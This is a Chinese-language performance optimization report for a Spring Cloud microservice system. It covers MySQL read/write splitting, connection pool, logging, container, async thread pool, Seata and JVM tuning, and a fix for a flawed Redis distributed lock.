第二阶段：引入读写分离，从库承接统计查询

目标：慢查询与业务查询隔离，减轻主库压力。

方案：

为 MySQL 实例配置 1 个或多个从库（MySQL Replication）；
将统计类服务路由到从库；
采用 ShardingSphere-JDBC 实现读写分离，服务内自动路由 SQL（SELECT → 从库）；
对关键查询（写后立即查）使用 Hint 强制主库，保障数据一致性；
配置 Seata 不影响从库，避免锁表；

按照计划采用 1 主 2 从的话, 建议核心服务连接 1 主 1 从(使用 ShardingSphere-JDBC 实现读写分离), 剩下的一台读库单独分给 统计服务.

推荐工具：ShardingSphere-JDBC（对比见下方）

第三阶段：统计数据预处理

目标：消除慢 SQL 根源。

方案：

将统计 SQL 拆解为异步定时任务，定期汇总写入统计表；
通过缓存（Redis）或 OLAP 存储（ClickHouse、Doris）加速查询；
将统计服务转为「读缓存 + 数据仓库」模式；
引入数据更新链路（binlog → Kafka → 统计表）可选。

收益：读写高并发彻底隔离，慢查询压力被清除。

第四阶段：数据库实例物理拆分

目标：突破单实例资源瓶颈，实现数据库横向扩容。

方案：

根据服务资源使用和数据量，将数据库从一个实例拆分成多个物理实例；
支持分布式部署（主库与从库分服务器）；

收益：架构弹性更强，资源调度粒度更细，瓶颈彻底解除。

读写分离选型建议

按照原来的优化方案, 计划使用 Mycat 作为读写分离 proxy 使用, 目的是做透明代理, 不过个人推荐使用 ShardingSphere-JDBC:

对比维度	Mycat	ShardingSphere-JDBC
架构模式	代理中间件（独立部署）	应用内嵌，轻量
运维成本	较高（单独运维中间件）	低（与应用共部署）
主从路由控制	SQL 注释	自动路由 + Hint 控制
事务兼容性	弱	强（可与 Seata 协作）
微服务适配	一般	非常好
数据同步延迟感知	无（需手动控制）	自动识别事务内读写顺序
推荐程度	不推荐	推荐

Mycat 目前已经停止维护 5 年之久, 且处理 写后立即查 的问题比较麻烦, 比如需要修改 SQL:
/*!mycat:db_type=master*/ SELECT * FROM user WHERE id = 123;
而 ShardingSphere-JDBC 就比较简单, 通过配置即可实现, 同时支持代码指定. 所以选择 ShardingSphere-JDBC 实现读写分离，简洁、高效、低侵入，适配 Spring Boot 微服务生态，未来还可扩展为分库分表。

实施建议与里程碑规划

阶段	目标	核心任务	工具选型
P1	拆库隔离	拆分 schema，修改数据源配置	无需新工具
P2	读写分离	部署从库，接入 ShardingSphere-JDBC	推荐
P3	消除慢 SQL	引入预计算任务、缓存、OLAP 引擎	Redis / ClickHouse
P4	物理拆分	多实例部署 + 弹性调度	分布式数据库或多实例管理

连接池

项目中按照逻辑应该是使用 druid 来管理数据源连接, 遗憾的是并没有生效, 还是使用的 HikariDataSource, 可以运行 应用启动类#printDatasource 看看.

原因在与错误的引入了 druid 依赖(来自于 work_center-commin-seata), 所以并没有装配 druid 相关的 bean. 可参考 work_center-system 与其他模块的区别( work_center-system 引入的是 druid-spring-boot-starter)

那么按照现在的配置的话, HikariDataSource 默认连接最大为 10, 建议设置到 20. 目前共计 17 个微服务, 一共 340 个连接, 所以需要确认一下 MySQL 的连接数量.

上图是高频接口: /api/core/query 一个流程中操作了 4 次数据库, 单个耗时在 2s 左右, 如果按照连接池默认 10 个连接的来算, 超过 10 个并发就得排队 2 秒.

配置优化

基本资源情况

项目	数值
CPU	16 核（无超线程）
内存	31G（可用约 21G）
Swap	15G，几乎没用（空闲）

生产环境核心配置如下:

[mysqld]
innodb_buffer_pool_size = 2G
innodb_buffer_pool_instances = 8

innodb_log_file_size = 256M
innodb_log_buffer_size = 64M

max_connections = 500
thread_cache_size = 8
table_open_cache = 1000

调优目标

提高 MySQL 缓存命中率、减少磁盘 IO；
合理利用 31G 内存，给 MySQL 分配更多内存缓存；
基于 16 核 CPU，提升并发处理能力；
适用于 高并发业务系统 查询场景；

# MySQL 核心配置（建议替换或追加到 my.cnf）
[mysqld]
# -- 内存相关 --
innodb_buffer_pool_size = 20G               # 占内存约 65%，主要缓存表数据与索引页
innodb_buffer_pool_instances = 8            # 建议为 8～16，根据并发数拆分 buffer pool
innodb_log_file_size = 1G                   # 日志文件加大，减少 checkpoint 频率（需重启生效）
innodb_log_buffer_size = 256M               # 减少频繁刷 log，适合大事务（一般 64M~512M）

# -- 并发相关 --
max_connections = 500                       # 建议先按容量模型落到 500，再按峰值逐步调优
thread_cache_size = 64                      # 增加线程缓存，减少线程创建开销
table_open_cache = 4096                     # 打开更多表缓存（默认 2000 太低）
table_definition_cache = 2048               # 防止频繁打开表定义

建议让运维进行数据库专项优化, 包括数据库配置调优与服务器配置优化.

容量估算方法

连接数和线程池建议不要“固定抄参数”，建议按下面公式估算后再压测校准：

目标并发连接数 ≈ 峰值QPS × 数据库平均响应时间(秒) × 安全系数

例如：峰值 250 QPS、DB 平均 40ms、安全系数 2，则连接数约 250 * 0.04 * 2 = 20。
然后按服务分组做总量配额，避免少数服务抢占全部连接。

索引优化

这个需要根据自身业务专题优化. 重点解决主要业务流程的 SQL 优化.

调用链优化

在当前的微服务架构中，共部署了 17 个独立服务。由于业务切分粒度较细，部分接口在一次用户请求过程中需经过多个服务调用，形成较长的调用链，带来 高网络开销、高整体延迟 和 链路不稳定风险放大 等问题。

合并请求

在前端或聚合服务层面，存在多个请求分别调用多个微服务的情况，建议进行接口层的合并与组合，特别是在：

同一页面初始化需多次接口调用；
多个服务返回的数据可一并获取或缓存。

优化效果：

减少前端与服务端交互轮数；
降低整体延迟；
后端可做缓存、合并、降级处理，增强鲁棒性。

合并非核心服务

部分非核心业务服务，如通知服务、微信服务、通用服务、评论服务等功能简单，响应时间对业务无重大影响。建议将此类服务合并为一个“基础服务中心”，减少远程调用次数和维护成本。

优化效果：

减少 RPC 网络调用数，提高整体响应速度；
降低服务间耦合复杂度，优化服务治理负担；
降低部署资源和节点数，节省运维成本。

异步调用

对于非强一致性要求的调用（如日志收集、短信通知、推送、部分审计操作），应从同步链路中拆分出来，使用异步方式处理：

可选实现方式：

消息队列（如 Kafka、RocketMQ）进行消息解耦；
异步线程池 配合 @Async 注解；
使用分布式任务调度框架处理重试/失败补偿（如 XXL-Job）。

优化效果：

减少同步调用数量，缩短主链路响应时间；
提高服务可用性与容错性；
提供削峰填谷能力，避免高峰时因同步链路雪崩。

使用聚合服务

对于调用链长、跨多个服务的业务流程，应引入上层 聚合服务 进行统一编排、聚合与降级处理。

核心原则：

避免服务相互调用形成复杂网状结构；
将“业务流程逻辑”从下游服务中抽离到聚合层，职责更清晰；
聚合服务可复用异步机制、缓存策略、兜底策略等。

优势：

降低系统复杂性；
更好地统一控制调用链路、错误处理、日志采集；
聚合服务作为服务网关内部逻辑中台，具备良好扩展性。

服务优化

统计服务

统计服务部分接口使用了缓存, 但是仍然存在以下问题:

所有缓存过期时间统一为 300 秒, 非常容易出现缓存雪崩的问题(比如一个页面大概率会同时调用多个统计接口, 如果全部设置为 300 秒, 过期后全部回去查数据库).

优化建议: 根据业务场景设置不同的过期时间, 比如按天统计的数据, 过期时间设置为 1 天;

其他问题:

使用 info 级别直接输出了查询到的实体信息. 一般不建议直接输出这类信息, 因为无法预估实体大小, 一旦数据量较大时会影响系统. 建议 使用 debug 级别, 仅输出查询到的数据量.

任务调度

其他服务

在部分服务中仍然有少量的统计接口, 建议迁移到 统计服务 中进行集中管理.

Spring Boot 优化

日志配置优化

目前的日志配置存在性能问题:

%F,%L,%C,%M:

%F: 文件名
%L: 行号
%C: 类名
%M: 方法名

每次日志调用需生成完整的堆栈跟踪（Stack Trace）以定位代码位置, 在高并发场景下，频繁生成堆栈跟踪可能导致：

CPU 占用率飙升（计算密集型操作）;
线程阻塞（Logback 的同步日志输出默认加锁）;
日志吞吐量下降 50% 以上（实测对比）;

在实际生产环境或基准测试中，Log4j2 的性能通常优于 Logback，特别是在高并发、高吞吐日志场景下。下面从多个角度对比两者性能与特性：

性能对比结论

方面	Logback	Log4j2
异步性能	中等，基于 AsyncAppender 实现，单线程写入	优秀，基于 LMAX Disruptor 高性能异步队列
吞吐量	低于 Log4j2	更高（Logback 的 2~10 倍）
延迟	较高	更低
GC 压力	一般	更低，内存复用机制更好
可扩展性	支持但不如 Log4j2 灵活	插件体系更强大、配置更灵活

异步机制核心差异

特性	Logback（1.2.x）	Log4j2
异步机制	AsyncAppender（LinkedBlockingQueue）	AsyncAppender（Disruptor）
异步线程数	单个工作线程	多生产者单消费者（MPSC）
丢日志控制	discardingThreshold 简单丢弃策略	支持 AsyncWaitStrategy，更智能
实际吞吐差异	在 10k+ TPS 时可能瓶颈明显	Disruptor 可支持 100k+ TPS，性能极优

基于上面的对比, 推荐使用 log4j2 代替 logback.

下面是与原 logback-spring.xml 相同功能的 log4j2 日志配置, 包含 Skywalking 日志收集:

<?xml version="1.0" encoding="UTF-8"?>
<Configuration status="WARN">
    <Properties>
        <Property name="logPath">logs</Property>
        <Property name="appName">core-service</Property>
        <Property name="LOG_EXCEPTION_CONVERSION_WORD">%xwEx</Property>
        <Property name="LOG_LEVEL_PATTERN">%5p</Property>
        <Property name="MARKER_PATTERN">%m%n</Property>
        <Property name="ROLLING_FILE_NAME_PATTERN">%d{yyyyMMdd.HH}.%i.log.gz</Property>
        <Property name="LOG_DATEFORMAT_PATTERN">yyyy-MM-dd HH:mm:ss.SSS</Property>
        <!--@formatter:off-->
        <Property name="log.pattern">%d{${sys:LOG_DATEFORMAT_PATTERN}} ${sys:LOG_LEVEL_PATTERN} - [%15.15t] %c{1.} :: ${MARKER_PATTERN}${sys:LOG_EXCEPTION_CONVERSION_WORD}</Property>
        <!--@formatter:on-->
    </Properties>

    <Appenders>
        <!-- 控制台输出 -->
        <Console name="STDOUT" target="SYSTEM_OUT">
            <PatternLayout pattern="${log.pattern}"/>
        </Console>

        <!-- 按时间+大小滚动的文件输出 -->
        <RollingFile name="File" fileName="${logPath}/${appName}.log"
                     filePattern="${logPath}/bak/%d{yyyy-MM-dd}/${appName}-%d{yyyy-MM-dd}.%i.log.gz">
            <PatternLayout pattern="${log.pattern}" charset="UTF-8"/>
            <Policies>
                <TimeBasedTriggeringPolicy/>
                <SizeBasedTriggeringPolicy size="20MB"/>
            </Policies>
            <DefaultRolloverStrategy max="20"/>
        </RollingFile>

        <!-- SkyWalking APM 日志输出 -->
        <GRPCLogClientAppender name="grpc-log">
            <PatternLayout pattern="${log.pattern}"/>
        </GRPCLogClientAppender>
    </Appenders>

    <Loggers>
        <Root level="info">
            <AppenderRef ref="STDOUT"/>
            <AppenderRef ref="File"/>
            <AppenderRef ref="grpc-log"/>
        </Root>
    </Loggers>
</Configuration>

实施步骤

依赖调整（pom.xml）

<!-- 全局排除 logging 依赖 -->
<dependency>
    <groupId>org.springframework.boot</groupId>
    <artifactId>spring-boot-starter</artifactId>
    <version>${spring-boot.version}</version>
    <exclusions>
        <exclusion>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-logging</artifactId>
        </exclusion>
    </exclusions>
</dependency>

在模块中引入 log4j2 依赖:

<dependency>
    <groupId>org.springframework.boot</groupId>
    <artifactId>spring-boot-starter-log4j2</artifactId>
</dependency>

使用 log4j2.xml 替换 logback-spring.xml;

替换 Skywalking 依赖:

<dependency>
    <groupId>org.apache.skywalking</groupId>
    <artifactId>apm-toolkit-log4j-2.x</artifactId>
    <version>9.0.0</version>
</dependency>

容器配置优化

核心性能对比

特性	Tomcat	Undertow	高并发场景优势
线程模型	默认 NIO，多线程请求处理模型	基于 XNIO 的事件驱动模型	降低线程切换开销，提升高并发稳定性
内存占用	较高（默认堆内内存管理）	低 30%~40%（默认堆外内存，减少 GC 压力）	降低内存溢出风险，提升稳定性
吞吐量	约 12,000 QPS（实测 4 核 8G 环境）	约 16,000~25,000 QPS（相同硬件）	提升 30% 以上吞吐量
HTTP/2 支持	支持但配置复杂	原生支持且零配置	提升多路复用效率，降低延迟
启动速度	较慢（加载组件多）	快 50%+（轻量级设计）	加速服务迭代与扩缩容

Undertow 在高并发、低延迟、资源受限场景下优势显著，适合微服务、API 网关等架构；Tomcat 更适合需完整 Servlet 规范支持的传统应用。

实施步骤

依赖调整（pom.xml）

<dependency>
    <groupId>org.springframework.boot</groupId>
    <artifactId>spring-boot-starter-web</artifactId>
    <exclusions>
        <exclusion>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-tomcat</artifactId>
        </exclusion>
    </exclusions>
</dependency>
<dependency>
    <groupId>org.springframework.boot</groupId>
    <artifactId>spring-boot-starter-undertow</artifactId>
</dependency>

配置优化:

server:
  port: 10900
  undertow:
    # 线程池配置
    threads:
      # IO线程数 = CPU核数×2（如8核设16）
      io: 16
      # 工作线程数 = IO线程数×16（建议200~500）
      worker: 256
    # 内存优化
    # 缓冲区大小（KB），根据请求体调整（1KB~2MB）
    buffer-size: 16384
    # 启用堆外内存，减少GC压力
    direct-buffers: true
    # 请求限制
    # 防止大文件上传导致OOM
    max-http-post-size: 10MB
    # 空闲连接多久后关闭
    no-request-timeout: 60s

异步任务优化

代码中使用 @Async 实现异步调用, Spring 中使用 @Async 默认的线程池只有一个线程，来自于 SimpleAsyncTaskExecutor，它每次调用都会新建线程，不是线程复用（所以是“并发但不是真正的线程池”），这对性能和资源管理是有问题的。

而在项目中没有看到相关的配置逻辑, 从测试代码来看:

@Async
public void asyncMethod() {
    System.out.println("当前线程：" + Thread.currentThread().getName());
}

当前线程：task-1

说明是 Spring 默认的异步线程。

线程池配置

方法一：通过配置类注册线程池

@Configuration
@EnableAsync
public class AsyncConfig implements AsyncConfigurer {

    @Override
    public Executor getAsyncExecutor() {
        ThreadPoolTaskExecutor executor = new ThreadPoolTaskExecutor();
        executor.setCorePoolSize(8);       // 核心线程数
        executor.setMaxPoolSize(16);       // 最大线程数
        executor.setQueueCapacity(100);    // 队列容量
        executor.setThreadNamePrefix("async-exec-");
        executor.initialize();
        return executor;
    }
}

然后在使用 @Async 的方法上就会看到如下线程名：

当前线程：async-exec-1

可以通过设置的 corePoolSize、maxPoolSize 来控制线程数。

方法二：定义多个线程池

也可以定义多个 Executor Bean，并指定 @Async("beanName")：

@Bean(name = "logExecutor")
public Executor logExecutor() {
    ThreadPoolTaskExecutor executor = new ThreadPoolTaskExecutor();
    executor.setCorePoolSize(2);
    executor.setMaxPoolSize(4);
    executor.setQueueCapacity(50);
    executor.setThreadNamePrefix("log-task-");
    executor.initialize();
    return executor;
}

然后：

@Async("logExecutor")
public void logAsyncTask() {
    ...
}

推荐做法: 为每类异步任务新增一个线程池, 隔离不同业务的线程资源、避免互相阻塞，缺点是增加线程池管理复杂度和资源占用。可以业务情况自行评估, 但是一定不要使用默认的配置, 因为默认的 @Async 配置每次提交任务都会创建新线程，高并发下会疯狂创建线程，导致系统资源耗尽、频繁 GC，甚至 OOM 和系统崩溃。

异步失效

这跟事务失效是一个道理, @Async 是基于 Spring 的代理机制实现的，类内部自调用绕过了代理，导致异步执行失效，方法仍然在原线程中同步执行。 比如:

@Service
public class MyService {
    public void entry() {
        this.doAsyncTask(); // 直接调用，@Async 不生效
    }
    @Async
    public void doAsyncTask() {
        log.info("线程名: {}", Thread.currentThread().getName());
    }
}

目前项目中存在 @Async 失效的逻辑, 需要统一优化.

推荐方案: 将 @Async 方法抽到另一个 @Component 类中调用:
@Component
public class AsyncWorker {
 @Async
 public void doAsyncTask() { ... }
}
@Service
public class MyService {
 @Autowired
 private AsyncWorker asyncWorker;
 public void entry() {
     asyncWorker.doAsyncTask();
 }
}
非常不推荐注入自身代理 的方式来规避 @Async 失效的问题, 因为:

歧义 this.xxx() 与 self.xxx() 同为类内调用，看起来一样，行为却完全不同，容易让新同事或维护者误解
易遗漏 在一个类中新增 @Async 方法时，如果忘了用 self 调用，异步就会悄悄失效，且无编译错误、无运行异常，只是静默同步执行，这是最危险的陷阱之一

歧义	this.xxx() 与 self.xxx() 同为类内调用，看起来一样，行为却完全不同，容易让新同事或维护者误解
易遗漏	在一个类中新增 @Async 方法时，如果忘了用 self 调用，异步就会悄悄失效，且无编译错误、无运行异常，只是静默同步执行，这是最危险的陷阱之一

连接池优化

各微服务之间使用 feign 交互, feign 的配置如下:

feign:
  sentinel:
    enabled: true
  okhttp:
    enabled: true
  httpclient:
    enabled: false
  client:
    config:
      default:
        connectTimeout: 10000
        readTimeout: 20000

可见已经将 httpclient 替换为有连接池的 okhttp, 但非常遗憾的是: 仅仅修改配置并不能使用 okhttp, 现在仍然使用无连接池的 HttpURLConnection, 如果需要调试可在下面的代码打上断点:

public FeignBlockingLoadBalancerClient(Client delegate, LoadBalancerClient loadBalancerClient,
    LoadBalancerClientFactory loadBalancerClientFactory) {
  this.delegate = delegate;
  this.loadBalancerClient = loadBalancerClient;
  this.loadBalancerClientFactory = loadBalancerClientFactory;
}

如果要正确使用上 okhttp, 还需要做如下工作:

引入 feign-okhttp 依赖:

<dependency>
    <groupId>io.github.openfeign</groupId>
    <artifactId>feign-okhttp</artifactId>
</dependency>

装配逻辑在: org.springframework.cloud.openfeign.loadbalancer.OkHttpFeignLoadBalancerConfiguration

@Bean
public okhttp3.OkHttpClient client(OkHttpClientFactory httpClientFactory, ConnectionPool connectionPool,
    FeignHttpClientProperties httpClientProperties) {
  boolean followRedirects = httpClientProperties.isFollowRedirects();
  int connectTimeout = httpClientProperties.getConnectionTimeout();
  Duration reaTimeout = httpClientProperties.getOkHttp().getReadTimeout();
  this.okHttpClient = httpClientFactory.createBuilder(httpClientProperties.isDisableSslValidation())
      .connectTimeout(connectTimeout, TimeUnit.MILLISECONDS).followRedirects(followRedirects)
      .readTimeout(reaTimeout).connectionPool(connectionPool).build();
  return this.okHttpClient;
}

正确的配置可能有点奇怪, 可以看上面的代码:

# feign 配置
feign:
  sentinel:
    enabled: true
  okhttp:
    enabled: true
  httpclient:
    # 连接池配置
    max-connections: 222
    time-to-live: 900
    # okhttp 配置
    ok-http:
      read-timeout: 20s
    connection-timeout: 10000
  compression:
    request:
      enabled: true
    response:
      enabled: true

注意：OpenFeign 在不同 Spring Cloud 版本下配置键可能存在差异。
建议在文档中补充“以当前项目 BOM 版本文档为准”，并在启动日志中确认 OkHttpFeignLoadBalancerConfiguration 已实际装配，避免“配置写了但没生效”。

第三方服务优化

third-party-module 是延迟最高的微服务, 原因在于调用第三方 API 时因限流或网络问题导致的.

HTTP 客户端优化

OkHttp

third.party.client.SocialClientUtil#getUnsafeOkHttpClient
third.party.client.ContentAuditUtil

使用了 OkHttp 的默认连接池, 建议根据业务场景定制连接池.

executorService	内部执行http请求的实际线程池	默认没有常驻线程，性能低，线程没有限制上限。
maxIdleConnections	连接池大小，指单个okhttpclient实例所有连接的连接池。	默认：5，值的设置与业务请求量有关
keepAliveDurationMills	连接池中连接的最大时长	默认 5 分钟，依据业务场景来确定有效时间，如果不确定，那就保持5分钟
connectTimeoutMills	连接的最大超时时间	默认 10 秒
readTimeoutMills	读超时	默认 10 秒，如果是流式读，那建议设置长一点时间
writeTimeoutMills	写超时	默认10秒，如果是流式写，那建议设置长一点时间
maxRequests	当前okhttpclient实例最大的并发请求数	默认：64，默认的 64一般满足不了业务需要。这个值一般要大于maxRequestPerHost，如果这个值小于 maxRequestPerHost 会导致，请求单个主机的并发不可能超过 maxRequest.
maxRequestPerHost	单个主机最大请求并发数，这里的主机指被请求方主机，一般可以理解对调用方有限流作用。注意：websocket请求不受这个限制。	默认：4，一般建议与 maxRequest 保持一致。这个值设置，有如下几个场景考虑：（1）如果被调用方的并发能力只能支持200，那这个值最好不要超过200，否则对调用方有压力；（2）如果当前 okhttpclient 实例只对一个调用方发起调用，那这个值与maxRequests保持一致；（3）如果当前okhttpclient实例在一个事务中对 n 个调用方发起调用，n * maxReuestPerHos t要接近maxRequest

RestTemplate 优化

RestTemplate 如何不配置的话, 注入使用时默认使用 SimpleClientHttpRequestFactory , 底层使用的 HttpURLConnection, 也就是没有连接池. 在大量请求时会存在性能问题.

建议: 自定义连接池, 使用 OkHttp 替换 HttpURLConnection.

Forest 优化

同 OkHttp

JVM 优化

1. 选择合适的垃圾回收器

不同的垃圾回收器适用于不同的场景。对于 Seata 这样的高并发应用，推荐使用 G1 GC（Garbage-First Garbage Collector），因为它能够在保证低停顿时间的同时，处理大量的并发线程。

java -XX:+UseG1GC -jar seata-server.jar

2. 调整堆内存大小

堆内存的大小直接影响 GC 的频率和停顿时间。如果堆内存过小，GC 会频繁发生；如果堆内存过大，GC 停顿时间会变长。建议根据实际应用场景调整堆内存大小。

java -Xms512m -Xmx2g -XX:+UseG1GC -jar seata-server.jar

3. 调整新生代和老年代的比例

新生代和老年代的比例也会影响 GC 的性能。对于 Seata 这样的应用，建议将新生代的比例设置为堆内存的 40%-50%。

java -Xms512m -Xmx2g -XX:NewRatio=2 -XX:+UseG1GC -jar seata-server.jar

4. 启用 GC 日志

启用 GC 日志可以帮助我们分析 GC 的行为，找出性能瓶颈。

java -Xms512m -Xmx2g -XX:+UseG1GC -Xloggc:gc.log -XX:+PrintGCDetails -XX:+PrintGCDateStamps -jar seata-server.jar

5. 监控和分析 GC 行为

使用工具如 jstat 或 VisualVM 监控 GC 行为，分析 GC 停顿时间和频率，进一步优化 GC 参数。

jstat -gc <pid> 1000

Seata 优化

Skywalking 集成

Seata 融合 SkyWalking 应用性能监控的操作步骤非常简单，大致步骤可分为 ” 编译&配置 ” 以及 ” 接入监控 ” 这两个步骤。

编译&配置

首先需要下载 Seata 源码，并在源码根目录执行:

mvn clean package -Dmaven.test.skip=true

将 seata/ext/apm-skywalking/target/seata-skywalking-{version}.jar 放入 SkyWalking 探针插件文件夹中

强烈地推荐使用 Seata 最新版

接入监控

Seata 的客户端和服务端接入 SkyWalking 与其他应用服务并无二致，可参考 SkyWalking 探针配置。

Seata 涉及的重要参数有：

参数	备注
skywalking.plugin.seata.server	布尔属性，当值为 `true`，标识本应用服务是否为 Seata server
skywalking.plugin.jdbc.trace_sql_parameters	布尔属性，当值为 `true`，本应用服务记录 sql 参数
skywalking.agent.service_name	字符串属性，标识本应用服务在 SkyWalking 的唯一标识

Seata 客户端探针参数可参考

java -javaagent:{path}/skywalking-agent.jar -Dskywalking.agent.service_name=seata_biz -Dskywalking.plugin.jdbc.trace_sql_parameters=true -jar seata_biz.jar

Seata 服务端探针参数可参考

java -javaagent:{path}/skywalking-agent.jar -Dskywalking.agent.service_name=seata_tc -Dskywalking.plugin.jdbc.trace_sql_parameters=true -Dskywalking.plugin.seata.server=true -jar seata_tc.jar

数据库连接池状态监控

建议加上 druid 监控连接

连接池优化

现在没有使用连接池, 建议加上:

seata:
  datasource:
    type: com.zaxxer.hikari.HikariDataSource
    hikari:
      maximum-pool-size: 20
      minimum-idle: 5
      idle-timeout: 30000
      max-lifetime: 1800000
      connection-timeout: 30000

网络优化

seata:
  # 使用 Kryo 序列化
  serializer: kryo
  transport:
  	# 使用长链接
    keep-alive: true
    # 使用压缩
    compress: gzip

异步提交

对于不需要立即返回结果的事务，可以使用异步提交来减少事务处理的等待时间。

// 配置 Seata 的异步提交模式
GlobalTransactionScanner scanner = new GlobalTransactionScanner("my-app-group", "my-tx-service-group");
scanner.setAsyncCommit(true);

// 开启一个全局事务
GlobalTransaction tx = GlobalTransactionContext.getCurrentOrCreate();
tx.begin();

try {
    // 执行业务逻辑
    businessService.doSomething();

    // 提交事务
    tx.commit();
} catch (Exception e) {
    // 回滚事务
    tx.rollback();
}

线程池优化

seata:
  thread:
    pool:
      core-size: 20
      max-size: 50
  timeout:
    global: 60000
    branch: 30000

代码优化

异步调用

一些旁路逻辑应该使用异步调用的方式降低延迟, 比如:

记录登录日志: remote.log.api#saveLoginInfo

上述逻辑本身的错误不应该影响主流程, 最好使用异步的方式调用, 最好直接使用 MQ 解耦.

循环远程调用

这种情况普遍存在于发送短信, 比如 /api/order/startClose, 原设计循环异步发送(异步存在问题), 导致大量网络开销.

比如下面的代码:

在某短信发送方法中执行了 2 个远程调用：

优化建议:

将循环合并成一个远程调用, 在短信服务端循环处理发送短信;
模板服务添加缓存;

事务问题

不应该被回滚的数据被回滚了:

@GlobalTransactional
public LoginUser login(String phoneNumber, String smsCode) {
// 查询用户信息
R<LoginUser> userResult = remoteUserService.getUserInfo(phoneNumber, SecurityConstants.INTERNAL);
    if (R.isError(userResult)) {
        log.info("登录用户查询异常，phoneNumber:{}，错误信息：{}", phoneNumber, userResult.getMsg());
        recordLogService.recordLogininfor(phoneNumber, Constants.LOGIN_FAIL, userResult.getMsg());
        throw new ServiceException(userResult.getMsg());
    }
    ...
}

因为使用 Seata 接管了事务, 在抛出异常后错误日志记录会被回滚. 类似日志记录这种旁路逻辑, 建议使用异步调用来降低延迟, 且即使错误也不要影响主流程.

分布式锁问题

labor.service.impl.BrokerServiceImpl#selectEmployee

try {
    // 根据员工ID上锁 todo-dong4j : (2025.07.10 15:13) [存在错误释放锁的问题]
    for (Integer employeeId : employeeIdList) {
        if (!redisService.setNx(keyPrefix + employeeId, token, LOCK_EXPIRE_TIME)) {
            return R.fail("所选人员已被其他工作人员选中,请稍后重试!");
        }
    }
    final R<ResultEnum> EMPLOYEE_STATUS_ERROR = porcessor(userId, userType, supplyFlag, employeeIdList, orderEntity, demandEntity);
    if (EMPLOYEE_STATUS_ERROR != null) return EMPLOYEE_STATUS_ERROR;
} finally {
    //解锁
    for (Integer employeeId : employeeIdList) {
        redisService.releaseLock(keyPrefix + employeeId, token);
    }
}

在 finally 块中，无差别释放所有员工 ID 的锁，但实际上，并不是所有的锁都加成功了。如果有某个员工 ID 加锁失败，前面的某些锁可能加成功了，后面的根本没加。这种情况下 releaseLock 仍会尝试释放所有锁，可能导致：

多次释放无效资源
性能浪费、语义不清晰

另一个问题是: 多个线程并发执行这段代码时，先锁一部分，再失败退出，期间容易发生竞争条件，例如：

线程 A 锁了 A1、A2，线程 B 锁了 A3、A4；
线程 A 尝试锁 A3 失败，退出并释放 A1、A2(还是释放完成)；
线程 B 尝试锁 A1 失败，退出并释放 A3、A4；
所有人都失败，形成活锁。

解决方法:

List<Integer> lockedEmployeeIds = new ArrayList<>();
try {
    for (Integer employeeId : employeeIdList) {
        if (!redisService.setNx(keyPrefix + employeeId, token, LOCK_EXPIRE_TIME)) {
            return R.fail("部分人员已被其他工作人员选中，请稍后重试！");
        }
        lockedEmployeeIds.add(employeeId); // 只记录成功加锁的
    }
    // do something
} finally {
    for (Integer employeeId : lockedEmployeeIds) {
        redisService.releaseLock(keyPrefix + employeeId, token);
    }
}

记录已加锁的 ID，仅释放这些, 但是不能解决活锁的问题.

且最大的问题是锁过期时间是一个固定值: 30s, 业务处理逻辑中有 2 个 feign 调用(有一个异步调用未生效, 原因可见 [异步失效] 一节) 根据 feign 的配置:

feign:
  client:
    config:
      default:
        connectTimeout: 10000
        readTimeout: 20000

如果远程服务出现问题, feign 消耗大量时间 (比如连接耗时 9 秒, 等待响应耗时 19 秒), 业务处理也比较耗时的话, 会导致锁超时释放, 引发一些业务问题, 关键是不好评估业务处理完成的耗时.

所以更加推荐直接使用 Redisson, 功能全面：

可重入锁（ReentrantLock）
读写锁
公平锁
联锁、红锁、信号量、CountDownLatch
支持自动续期（WatchDog）
支持单点、哨兵、集群、主从
支持 Lua 脚本原子性操作

@Autowired
private RedissonClient redissonClient;

public R<Void> batchLockAndProcess(List<Integer> employeeIdList) {
    String keyPrefix = "lock:employee:";
    long waitTime = 5;    // 最多等待时间
    long leaseTime = 10;  // 锁自动过期时间（防死锁）

    List<RLock> lockedList = new ArrayList<>();
    try {
        for (Integer employeeId : employeeIdList) {
            RLock lock = redissonClient.getLock(keyPrefix + employeeId);
          	// 不指定 leaseTime, 让 Redisson 自动续期
            boolean success = lock.tryLock(waitTime);
            if (!success) {
                return R.fail("部分人员已被其他工作人员选中，请稍后重试！");
            }
            lockedList.add(lock); // 记录加锁成功的
        }

        // 所有锁加成功，执行你的业务逻辑
        doSomething(employeeIdList);

        return R.ok();
    } catch (Exception e) {
        // 异常处理
        return R.fail("操作失败，请稍后重试！");
    } finally {
        // 释放所有成功加的锁
        for (RLock lock : lockedList) {
            if (lock.isHeldByCurrentThread()) {
                lock.unlock();
            }
        }
    }
}

实施计划

核心问题归纳

类别	具体问题
架构耦合	1. 所有微服务共享单数据库（资源竞争/雪崩风险） 2. 服务调用链路过长（同步阻塞）
数据库瓶颈	3. 统计服务慢SQL拖垮主库（CPU峰值791%） 4. 大事务锁表（单事务锁超1万行） 5. 无读写分离（主库读写压力叠加）
中间件缺陷	6. Seata全局锁加剧锁竞争 7. 连接池/线程池配置失效（Hikari默认10连接） 8. Redis缓存策略不当（固定300s过期致雪崩）
代码隐患	9. 异步调用失效（@Async自调用/无线程池） 10. 分布式锁设计缺陷（错误释放/活锁风险） 11. 循环远程调用（短信批量发送性能差）
资源浪费	12. 接口返回数据冗余（单响应550KB） 13. 日志配置低效（%L/%M引发堆栈跟踪）

系统性优化方案

统一验收指标

维度	核心指标	建议目标
稳定性	错误率、超时率	< 1%
性能	P95/P99、吞吐量	P95 降低 30%+
数据库	慢 SQL 占比、锁等待时长、连接池等待时间	持续下降
中间件	线程池拒绝数、队列堆积、缓存命中率	拒绝数接近 0
可观测性	告警恢复时长（MTTR）	阶段性下降

架构解耦

数据库垂直拆分

立即实施：按服务拆分Schema（隔离核心业务与统计服务）
中期方案：部署1主2从（ShardingSphere-JDBC自动路由）
长期方案：统计服务迁移ClickHouse+Redis预计算

# ShardingSphere读写分离配置示例
spring:
  shardingsphere:
    datasource:
      names: master,slave1,slave2
      master: # 主库配置
      slave1: # 统计服务专用从库
      slave2: # 业务读从库
    rules:
      replica-query:
        data-sources:
          pr_ds:
            primary-data-source-name: master
            replica-data-source-names: slave1,slave2
            load-balancer-name: round_robin

服务链路精简
- 合并通知/微信/评论等轻量服务为基础服务模块
- 非核心操作异步化（日志记录→RocketMQ）
- 引入聚合层服务（避免服务网状调用）

